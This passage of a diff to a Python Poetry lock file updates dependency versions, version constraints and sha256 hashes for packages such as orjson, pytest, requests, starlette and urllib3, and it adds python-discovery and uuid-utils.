"sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c"}, + {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81"}, + {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a"}, + {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10"}, + {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362"}, + {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97"}, + {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218"}, + {file = "orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9"}, + {file = "orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677"}, + {file = "orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4"}, + {file = "orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0"}, + {file = "orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32"}, + {file = "orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979"}, + {file = "orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254"}, + {file = "orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e"}, + {file = "orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e"}, + {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0"}, + {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124"}, + {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c"}, + {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7"}, + {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1"}, + {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db"}, + {file = "orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b"}, + {file = "orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972"}, + {file = "orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0"}, + {file = "orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586"}, + {file = "orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673"}, + {file = "orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b"}, + {file = "orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9"}, + {file = "orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f"}, ] [[package]] @@ -1820,16 +1858,21 @@ files = [ [[package]] name = "pathspec" -version = "0.12.1" +version = "1.1.1" description = "Utility library for gitignore style pattern matching of file paths." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08"}, - {file = "pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712"}, + {file = "pathspec-1.1.1-py3-none-any.whl", hash = "sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189"}, + {file = "pathspec-1.1.1.tar.gz", hash = "sha256:17db5ecd524104a120e173814c90367a96a98d07c45b2e10c2f3919fff91bf5a"}, ] +[package.extras] +hyperscan = ["hyperscan (>=0.7)"] +optional = ["typing-extensions (>=4)"] +re2 = ["google-re2 (>=1.1)"] + [[package]] name = "platformdirs" version = "4.4.0" @@ -2169,14 +2212,14 @@ files = [ [[package]] name = "pygments" -version = "2.19.2" +version = "2.20.0" description = "Pygments is a syntax highlighting package written in Python." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b"}, - {file = "pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887"}, + {file = "pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176"}, + {file = "pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f"}, ] [package.extras] @@ -2184,14 +2227,14 @@ windows-terminal = ["colorama (>=0.4.6)"] [[package]] name = "pyjwt" -version = "2.12.1" +version = "2.13.0" description = "JSON Web Token implementation in Python" optional = false python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "pyjwt-2.12.1-py3-none-any.whl", hash = "sha256:28ca37c070cad8ba8cd9790cd940535d40274d22f80ab87f3ac6a713e6e8454c"}, - {file = "pyjwt-2.12.1.tar.gz", hash = "sha256:c74a7a2adf861c04d002db713dd85f84beb242228e671280bf709d765b03672b"}, + {file = "pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728"}, + {file = "pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423"}, ] [package.dependencies] @@ -2200,9 +2243,6 @@ typing_extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} [package.extras] crypto = ["cryptography (>=3.4.0)"] -dev = ["coverage[toml] (==7.10.7)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=8.4.2,<9.0.0)", "sphinx", "sphinx-rtd-theme", "zope.interface"] -docs = ["sphinx", "sphinx-rtd-theme", "zope.interface"] -tests = ["coverage[toml] (==7.10.7)", "pytest (>=8.4.2,<9.0.0)"] [[package]] name = "pymetasploit3" @@ -2234,21 +2274,21 @@ files = [ [[package]] name = "pytest" -version = "8.4.2" +version = "9.1.1" description = "pytest: simple powerful testing with Python" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79"}, - {file = "pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01"}, + {file = "pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c"}, + {file = "pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313"}, ] [package.dependencies] colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""} exceptiongroup = {version = ">=1", markers = "python_version < \"3.11\""} -iniconfig = ">=1" -packaging = ">=20" +iniconfig = ">=1.0.1" +packaging = ">=22" pluggy = ">=1.5,<2" pygments = ">=2.7.2" tomli = {version = ">=1", markers = "python_version < \"3.11\""} @@ -2258,23 +2298,23 @@ dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests [[package]] name = "pytest-asyncio" -version = "1.2.0" +version = "1.4.0" description = "Pytest support for asyncio" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "pytest_asyncio-1.2.0-py3-none-any.whl", hash = "sha256:8e17ae5e46d8e7efe51ab6494dd2010f4ca8dae51652aa3c8d55acf50bfb2e99"}, - {file = "pytest_asyncio-1.2.0.tar.gz", hash = "sha256:c609a64a2a8768462d0c99811ddb8bd2583c33fd33cf7f21af1c142e824ffb57"}, + {file = "pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1"}, + {file = "pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42"}, ] [package.dependencies] backports-asyncio-runner = {version = ">=1.1,<2", markers = "python_version < \"3.11\""} -pytest = ">=8.2,<9" +pytest = ">=8.4,<10" typing-extensions = {version = ">=4.12", markers = "python_version < \"3.13\""} [package.extras] -docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)"] +docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)", "sphinx-tabs (>=3.5)"] testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"] [[package]] @@ -2315,16 +2355,36 @@ pytest = ">=6.2.5" [package.extras] dev = ["pre-commit", "pytest-asyncio", "tox"] +[[package]] +name = "python-discovery" +version = "1.4.3" +description = "Python interpreter discovery" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "python_discovery-1.4.3-py3-none-any.whl", hash = "sha256:b6e1e4a7d9e3f6948c39746ffe8218225162d738ba39d05ab1d2f6c1cac4878c"}, + {file = "python_discovery-1.4.3.tar.gz", hash = "sha256:ad57d7045a862460d4a235986c33f13ed707d3aeb9153fa47eb7dfd0d4673289"}, +] + +[package.dependencies] +filelock = ">=3.15.4" +platformdirs = ">=4.3.6,<5" + +[package.extras] +docs = ["furo (>=2025.12.19)", "sphinx (>=9.1)", "sphinx-autodoc-typehints (>=3.6.3)", "sphinxcontrib-mermaid (>=2)", "sphinxcontrib-towncrier (>=0.4)", "towncrier (>=25.8)"] +testing = ["covdefaults (>=2.3)", "coverage (>=7.5.4)", "pytest (>=8.3.5)", "pytest-mock (>=3.14)", "setuptools (>=75.1)"] + [[package]] name = "python-dotenv" -version = "1.1.1" +version = "1.2.2" description = "Read key-value pairs from a .env file and set them as environment variables" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "python_dotenv-1.1.1-py3-none-any.whl", hash = "sha256:31f23644fe2602f88ff55e1f5c79ba497e01224ee7737937930c448e4d0e24dc"}, - {file = "python_dotenv-1.1.1.tar.gz", hash = "sha256:a8a6399716257f45be6a007360200409fce5cda2661e3dec71d23dc15f6189ab"}, + {file = "python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a"}, + {file = "python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3"}, ] [package.extras] @@ -2332,26 +2392,66 @@ cli = ["click (>=5.0)"] [[package]] name = "python-multipart" -version = "0.0.20" +version = "0.0.32" description = "A streaming multipart parser for Python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "python_multipart-0.0.20-py3-none-any.whl", hash = "sha256:8a62d3a8335e06589fe01f2a3e178cdcc632f3fbe0d492ad9ee0ec35aab1f104"}, - {file = "python_multipart-0.0.20.tar.gz", hash = "sha256:8dd0cab45b8e23064ae09147625994d090fa46f5b0d1e13af944c331a7fa9d13"}, + {file = "python_multipart-0.0.32-py3-none-any.whl", hash = "sha256:ff6d3f776f16878c894e52e107296ffc890e913c611b1a4ec6c44e2821fe2e23"}, + {file = "python_multipart-0.0.32.tar.gz", hash = "sha256:be54b7f3fa167bb83e4fcd936b887b708f4e57fe75911c02aebf53efaf8d938e"}, ] [[package]] name = "pytokens" -version = "0.1.10" -description = "A Fast, spec compliant Python 3.12+ tokenizer that runs on older Pythons." +version = "0.4.1" +description = "A Fast, spec compliant Python 3.14+ tokenizer that runs on older Pythons." optional = false python-versions = ">=3.8" groups = ["dev"] files = [ - {file = "pytokens-0.1.10-py3-none-any.whl", hash = "sha256:db7b72284e480e69fb085d9f251f66b3d2df8b7166059261258ff35f50fb711b"}, - {file = "pytokens-0.1.10.tar.gz", hash = "sha256:c9a4bfa0be1d26aebce03e6884ba454e842f186a59ea43a6d3b25af58223c044"}, + {file = "pytokens-0.4.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2a44ed93ea23415c54f3face3b65ef2b844d96aeb3455b8a69b3df6beab6acc5"}, + {file = "pytokens-0.4.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:add8bf86b71a5d9fb5b89f023a80b791e04fba57960aa790cc6125f7f1d39dfe"}, + {file = "pytokens-0.4.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:670d286910b531c7b7e3c0b453fd8156f250adb140146d234a82219459b9640c"}, + {file = "pytokens-0.4.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:4e691d7f5186bd2842c14813f79f8884bb03f5995f0575272009982c5ac6c0f7"}, + {file = "pytokens-0.4.1-cp310-cp310-win_amd64.whl", hash = "sha256:27b83ad28825978742beef057bfe406ad6ed524b2d28c252c5de7b4a6dd48fa2"}, + {file = "pytokens-0.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d70e77c55ae8380c91c0c18dea05951482e263982911fc7410b1ffd1dadd3440"}, + {file = "pytokens-0.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4a58d057208cb9075c144950d789511220b07636dd2e4708d5645d24de666bdc"}, + {file = "pytokens-0.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b49750419d300e2b5a3813cf229d4e5a4c728dae470bcc89867a9ad6f25a722d"}, + {file = "pytokens-0.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d9907d61f15bf7261d7e775bd5d7ee4d2930e04424bab1972591918497623a16"}, + {file = "pytokens-0.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:ee44d0f85b803321710f9239f335aafe16553b39106384cef8e6de40cb4ef2f6"}, + {file = "pytokens-0.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:140709331e846b728475786df8aeb27d24f48cbcf7bcd449f8de75cae7a45083"}, + {file = "pytokens-0.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6d6c4268598f762bc8e91f5dbf2ab2f61f7b95bdc07953b602db879b3c8c18e1"}, + {file = "pytokens-0.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:24afde1f53d95348b5a0eb19488661147285ca4dd7ed752bbc3e1c6242a304d1"}, + {file = "pytokens-0.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5ad948d085ed6c16413eb5fec6b3e02fa00dc29a2534f088d3302c47eb59adf9"}, + {file = "pytokens-0.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:3f901fe783e06e48e8cbdc82d631fca8f118333798193e026a50ce1b3757ea68"}, + {file = "pytokens-0.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8bdb9d0ce90cbf99c525e75a2fa415144fd570a1ba987380190e8b786bc6ef9b"}, + {file = "pytokens-0.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5502408cab1cb18e128570f8d598981c68a50d0cbd7c61312a90507cd3a1276f"}, + {file = "pytokens-0.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:29d1d8fb1030af4d231789959f21821ab6325e463f0503a61d204343c9b355d1"}, + {file = "pytokens-0.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:970b08dd6b86058b6dc07efe9e98414f5102974716232d10f32ff39701e841c4"}, + {file = "pytokens-0.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:9bd7d7f544d362576be74f9d5901a22f317efc20046efe2034dced238cbbfe78"}, + {file = "pytokens-0.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:4a14d5f5fc78ce85e426aa159489e2d5961acf0e47575e08f35584009178e321"}, + {file = "pytokens-0.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97f50fd18543be72da51dd505e2ed20d2228c74e0464e4262e4899797803d7fa"}, + {file = "pytokens-0.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dc74c035f9bfca0255c1af77ddd2d6ae8419012805453e4b0e7513e17904545d"}, + {file = "pytokens-0.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f66a6bbe741bd431f6d741e617e0f39ec7257ca1f89089593479347cc4d13324"}, + {file = "pytokens-0.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:b35d7e5ad269804f6697727702da3c517bb8a5228afa450ab0fa787732055fc9"}, + {file = "pytokens-0.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:8fcb9ba3709ff77e77f1c7022ff11d13553f3c30299a9fe246a166903e9091eb"}, + {file = "pytokens-0.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:79fc6b8699564e1f9b521582c35435f1bd32dd06822322ec44afdeba666d8cb3"}, + {file = "pytokens-0.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d31b97b3de0f61571a124a00ffe9a81fb9939146c122c11060725bd5aea79975"}, + {file = "pytokens-0.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:967cf6e3fd4adf7de8fc73cd3043754ae79c36475c1c11d514fc72cf5490094a"}, + {file = "pytokens-0.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:584c80c24b078eec1e227079d56dc22ff755e0ba8654d8383b2c549107528918"}, + {file = "pytokens-0.4.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:da5baeaf7116dced9c6bb76dc31ba04a2dc3695f3d9f74741d7910122b456edc"}, + {file = "pytokens-0.4.1-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:11edda0942da80ff58c4408407616a310adecae1ddd22eef8c692fe266fa5009"}, + {file = "pytokens-0.4.1-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0fc71786e629cef478cbf29d7ea1923299181d0699dbe7c3c0f4a583811d9fc1"}, + {file = "pytokens-0.4.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:dcafc12c30dbaf1e2af0490978352e0c4041a7cde31f4f81435c2a5e8b9cabb6"}, + {file = "pytokens-0.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:42f144f3aafa5d92bad964d471a581651e28b24434d184871bd02e3a0d956037"}, + {file = "pytokens-0.4.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:34bcc734bd2f2d5fe3b34e7b3c0116bfb2397f2d9666139988e7a3eb5f7400e3"}, + {file = "pytokens-0.4.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:941d4343bf27b605e9213b26bfa1c4bf197c9c599a9627eb7305b0defcfe40c1"}, + {file = "pytokens-0.4.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3ad72b851e781478366288743198101e5eb34a414f1d5627cdd585ca3b25f1db"}, + {file = "pytokens-0.4.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:682fa37ff4d8e95f7df6fe6fe6a431e8ed8e788023c6bcc0f0880a12eab80ad1"}, + {file = "pytokens-0.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:30f51edd9bb7f85c748979384165601d028b84f7bd13fe14d3e065304093916a"}, + {file = "pytokens-0.4.1-py3-none-any.whl", hash = "sha256:26cef14744a8385f35d0e095dc8b3a7583f6c953c2e3d269c7f82484bf5ad2de"}, + {file = "pytokens-0.4.1.tar.gz", hash = "sha256:292052fe80923aae2260c073f822ceba21f3872ced9a68bb7953b348e561179a"}, ] [package.extras] @@ -2503,25 +2603,25 @@ typing-extensions = {version = ">=4.4.0", markers = "python_version < \"3.13\""} [[package]] name = "requests" -version = "2.32.5" +version = "2.34.2" description = "Python HTTP for Humans." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, - {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, + {file = "requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0"}, + {file = "requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed"}, ] [package.dependencies] -certifi = ">=2017.4.17" +certifi = ">=2023.5.7" charset_normalizer = ">=2,<4" idna = ">=2.5,<4" -urllib3 = ">=1.21.1,<3" +urllib3 = ">=1.26,<3" [package.extras] socks = ["PySocks (>=1.5.6,!=1.5.7)"] -use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<8)"] [[package]] name = "requests-toolbelt" @@ -2806,14 +2906,14 @@ uvicorn = ["uvicorn (>=0.34.0)"] [[package]] name = "starlette" -version = "1.0.0" +version = "1.3.1" description = "The little ASGI library that shines." optional = false python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b"}, - {file = "starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149"}, + {file = "starlette-1.3.1-py3-none-any.whl", hash = "sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6"}, + {file = "starlette-1.3.1.tar.gz", hash = "sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0"}, ] [package.dependencies] @@ -2821,7 +2921,7 @@ anyio = ">=3.6.2,<5" typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\""} [package.extras] -full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] +full = ["httpx (>=0.27.0,<0.29.0)", "httpx2 (>=2.0.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] [[package]] name = "tenacity" @@ -2923,21 +3023,124 @@ files = [ [[package]] name = "urllib3" -version = "2.5.0" +version = "2.7.0" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc"}, - {file = "urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760"}, + {file = "urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897"}, + {file = "urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c"}, ] [package.extras] -brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] +brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""] h2 = ["h2 (>=4,<5)"] socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] -zstd = ["zstandard (>=0.18.0)"] +zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""] + +[[package]] +name = "uuid-utils" +version = "0.16.2" +description = "Fast, drop-in replacement for Python's uuid module, powered by Rust." +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "uuid_utils-0.16.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:89a627f74cb55aa508809592ab9149806649e4ee37f4bc91b60c7ec10929f0eb"}, + {file = "uuid_utils-0.16.2-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:e92875a315f3cc4fe7a2324c17b3c7ac5e3fd0e24b14fc4deb28370431fe6a2b"}, + {file = "uuid_utils-0.16.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:945e1819dde4cce6828683ce11311977e73e6d46c6cc18e5fb9fcab2051b94bb"}, + {file = "uuid_utils-0.16.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2cd4612085e6bbf6a00b9890779023ea97fe1ee8dd1758381022f7588a06e123"}, + {file = "uuid_utils-0.16.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:887efa34701d197239ec3b0e89993ee8c0cea1746483b606e54746ea81c966f4"}, + {file = "uuid_utils-0.16.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22446af2ae47d1054562b159bcd65714a022713e56697eef77cb5f291dc5ef13"}, + {file = "uuid_utils-0.16.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:41165aa4059e3b03605c1c8c48df6c887a16f8f6a1fc4cb2155360a61aad8666"}, + {file = "uuid_utils-0.16.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2ef60e0a91675cfd9850e8aefd0d899fe09c4afb572bbe0ac2de4f8848d7663d"}, + {file = "uuid_utils-0.16.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:6fe3fb4bcecef69cacf3a11e182e204ce778998bd439152a173bdd2e9e8e9cfa"}, + {file = "uuid_utils-0.16.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:fcc212dec731aeba110953643c214982e667cab9802f7d99d066e03ba0c44c90"}, + {file = "uuid_utils-0.16.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3aa5c2ebc843e85a078ec27c1ad677871c44065b3dd58748166783a3c454859f"}, + 